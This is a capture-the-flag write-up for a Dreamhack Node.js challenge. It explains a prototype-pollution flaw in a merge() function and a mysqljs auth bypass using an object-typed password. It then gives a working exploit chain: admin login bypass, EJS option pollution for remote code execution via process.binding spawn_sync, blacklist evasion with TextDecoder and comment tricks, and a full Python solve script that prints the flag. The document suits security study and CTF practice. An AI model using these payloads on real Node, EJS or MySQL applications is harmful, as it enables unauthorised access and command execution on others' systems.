Vulnerability Analysis
The challenge app has an /admin endpoint that allows us to send JSON data which it will parse using an unsafe merge() function. There is a prototype pollution vulnerability in merge() as it doesn't perform any validations before settings the keys.
The /admin endpoint does enforce a blacklist that appears to prevent RCE.
// utils/merge.ts
function isObject(obj: any) {
return typeof obj === 'function' || typeof obj === 'object';
}
export function clone(target: any) {
const d = {};
const visited = new WeakSet(); // to avoid circular reference
function merge(target: any, source: any) {
if (visited.has(source)) {
return target;
}
visited.add(source);
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
return merge(d, target);
}
...
// routers/admin.ts
router.post('/', async (req, res) => {
try {
const body = JSON.stringify(req.body).toLowerCase();
const keywords = ['flag', 'app', '+', ' ', 'join', '!', '[', ']', '$', '_', '`', 'global', 'this', 'return', 'fs', 'child', 'eval', 'object', 'buffer', 'from', 'atob', 'btoa', '\\x', '\\u', '%']; //TODO: add more keywords. process, binding, etc.
const result = keywords.filter(keyword => body.includes(keyword));
if (result.length > 0) {
if (
!result.includes(' ') ||
(result.includes(' ') && result.length > 1) ||
(result.includes(' ') &&
result.length === 1 &&
body.split(' ').length !== 2)
) {
return res.status(400).json({ error: 'Filtered! - ' + result.join(', ') });
}
}
const data = clone(req.body);
return res.json(data);
} catch (e) {
return res.status(500).json({ error: 'Internal Server Error' });
}
});
export default router;In package.json, we can see that the app uses ejs@3.1.10, and this has CVE-2022-29078
.
{
"name": "pr0t0typ3-p011ut10n",
"version": "1.0.0",
"author": {
"name": "bmcyver"
},
"type": "module",
"scripts": {
"start": "node --no-warnings --loader ./esm-loader.js dist/index.js",
"build": "tsc",
"dev": "pnpm build && pnpm start",
"lint": "eslint ./src --fix"
},
"dependencies": {
"ejs": "3.1.10",
"express": "^4.21.1",
"jsonwebtoken": "^9.0.2",
"mysql2": "^3.11.3"
},
"devDependencies": {
"@types/ejs": "^3.1.5",
"@types/express": "^4.17.21",
"@types/jsonwebtoken": "^9.0.7",
"@types/node": "^20",
"typescript": "^5.6.2"
}
}The challenge dist also shows that flag will be in the root directory of challenge folder, so we have to use the aforementioned CVE to get RCE to read the flag file.
However, the /admin endpoint requires us to be logged in before we can do any prototype pollution.
router.use((req, res, next) => {
if (req.username !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
next();
});The user database is initialised with a default admin user with a cryptographically secure password.
export async function getDB() {
if (db) return db;
console.info('Connecting to database...');
await sleep(10000);
const connection = await mysql.createConnection({
host: 'db',
user: 'root',
database: 'test',
password: 'password',
});
try {
await connection.query('DROP TABLE IF EXISTS users');
await connection.query(
'CREATE TABLE IF NOT EXISTS users (id INT AUTO_INCREMENT PRIMARY KEY, username TEXT NOT NULL UNIQUE, password TEXT NOT NULL)',
);
await connection.query('DELETE FROM users');
await connection.query(
`INSERT INTO users (username, password) VALUES (?, ?)`,
['admin', crypto.randomBytes(32).toString('hex')],
);
await connection.query(
`INSERT INTO users (username, password) VALUES (?, ?)`,
['guest', 'guest'],
);
await connection.query(
`INSERT INTO users (username, password) VALUES (?, ?)`,
['dream', 'hack'],
);
} catch (e) {
console.error(e);
}
db = connection;
return db;
}The app uses JWT tokens with cryptographically secure secrets for authentication, so we can forget about any JWT forging exploits.
import jwt from 'jsonwebtoken';
import crypto from 'crypto';
const SECRET = crypto.randomBytes(64).toString('hex');
export function sign(user: { username: string, password: string }): string {
return jwt.sign(user, SECRET, { expiresIn: '1h', algorithm: 'HS256' });
}
export function verify(token: string): { username: string } | null {
try {
return jwt.verify(token, SECRET, { algorithms: ['HS256'] }) as {
username: string;
};
} catch (e) {
console.error('JWT verification failed', e);
return null;
}
}Instead, the auth bypass vuln lies in the /login endpoint in the auth router. /login doesn't validate the data type of our inputs, so we could potentially abuse this to cause some unintended behaviour and get admin login.
router.post('/login', async (req, res) => {
try {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({ error: 'Invalid input' });
}
const db = await getDB();
const [rows, fields]: [User[], FieldPacket[]] = await db.query(
'SELECT * FROM users WHERE username = ? and password = ? LIMIT 1',
[username, password],
);
if (rows.length !== 1) {
return res.status(401).json({ error: 'Invalid credentials' });
}
const token = sign({ username: rows[0].username, password: rows[0].password });
return res.json({ token });
} catch (e) {
console.error(e);
return res.status(500).json({ error: 'Internal Server Error.' });
}
});Exploit
To get admin login, we can submit this payload to /login.
{"username": "admin", "password": {"password": 1}}mysqljs's attempt to parse the password field object will result in this query, which will give us auth bypass.
SELECT * FROM users WHERE username = 'admin' and password = `password` = 1 LIMIT 1The webpage will then return the admin's JWT token, which we can use to access the /admin endpoint and use prototype pollution to get code injection in EJS.
The blacklist in /admin blocks _ which means can't use __proto__ for prototype pollution, so we have to use constructor.prototype instead.
We can craft a base payload as shown below that will allow us to control the index page of the website by polluting EJS rendering options.
{
"constructor": {
"prototype": {
"settings": {
"view options": {
"client": true,
"escapeFunction": "1; return 'hacked';"
}
}
}
}
}However, getting RCE isn't that straightforward, as the blacklist explicitly filters return, which means we can't control the final string EJS renders on the index page.
const keywords = ['flag', 'app', '+', ' ', 'join', '!', '[', ']', '$', '_', '`', 'global', 'this', 'return', 'fs', 'child', 'eval', 'object', 'buffer', 'from', 'atob', 'btoa', '\\x', '\\u', '%'];The next best way to view our RCE output would be to display the result as an error message.
The app uses this function to capture error messages, and since err.message is undefined by default, we can do another prototype pollution to set it to our RCE output.
app.use(((err, req, res, next) => {
console.error(err);
const status = err.status ?? 500;
return res.status(status).json({
message: err.message,
status,
});
}) as ErrorRequestHandler);Also, since the challenge docker uses the node:20 image where process.mainModule.require() has been deprecated, we can't just use process.mainModule.require('child_process').execSync() to execute system commands.
FROM node:20-alpine@sha256:c13b26e7e602ef2f1074aef304ce6e9b7dd284c419b35d89fcf3cc8e44a8def9
WORKDIR /app
COPY ./deploy .
RUN npm ci
RUN npm install -g typescript
RUN npm run build
EXPOSE 3000
CMD ["npm", "start"]We can use process.binding() to access /bin/busybox in the node:20 image and execute system commands.
This gives us the payload below, which will pollute err.message with our command output and force EJS to throw an error, which will cause the website to render our command output as the error message.
1;
Object.prototype.message=process.binding('spawn_sync').spawn({
file: '/bin/busybox',
args: ['ash', '-c', 'cat flag'],
stdio: [
{ type: 'pipe', readable: true, writable: false },
{ type: 'pipe', readable: false, writable: true },
{ type: 'pipe', readable: false, writable: true }
],
}).output[1].toString();
throw 1;Now that we have the main RCE logic, we can focus on bypassing the rest of the blacklist.
The most straightforward way would be to convert our main payload to ASCII values, then decode and execute it with Function().
Since from is blacklisted, we can't use String.fromCharCode() to decode the ASCII values, and must use the TextDecoder() class instead.
Spaces are blacklisted as well, but we can bypass this by replacing them with /**/ comments.
1;Function(new/**/TextDecoder("utf-8").decode(new Uint8Array(Array(<payload ascii values>))))();throw/**/1;Executing our payload with the prototype pollution vuln from earlier will then get the index page to render the flag.
Below is my full solve script for this chall.
import requests
url = "http://host3.dreamhack.games:20720/"
s = requests.Session()
# admin login
res = s.post(f"{url}/auth/login", json={"username": 'admin', 'password': {'password': 1}})
token = res.json()['token']
print("> Token:", token)
# rce
headers = { 'Authorization': f'Bearer: {token}'}
def obf(s):
o = [ord(c) for c in s]
return 'new TextDecoder("utf-8").decode(new Uint8Array(Array(%s)))' % ','.join(map(str, o))
cmd = '''
Object.prototype.message=process.binding('spawn_sync').spawn({
file: '/bin/busybox',
args: ['ash', '-c', 'cat flag'],
stdio: [
{ type: 'pipe', readable: true, writable: false },
{ type: 'pipe', readable: false, writable: true },
{ type: 'pipe', readable: false, writable: true }
],
}).output[1].toString();
'''.strip()
payload = '1;Function(%s)();throw 1;' % obf(cmd)
payload = payload.replace(" ", '/**/')
res = s.post(f'{url}/admin', headers=headers, json={
'constructor': {
'prototype': {
'settings': {
'view options': {
'client': True,
'escapeFunction': payload
}
}
}
}
})
res = s.get(url)
print("Flag:", res.json()['message'])Flag: DH{pR0T0tYp3_p0lluT10n_t0_rc3.pLz_5h4R3_y0uR_s0lu710N!!.zQDbcO}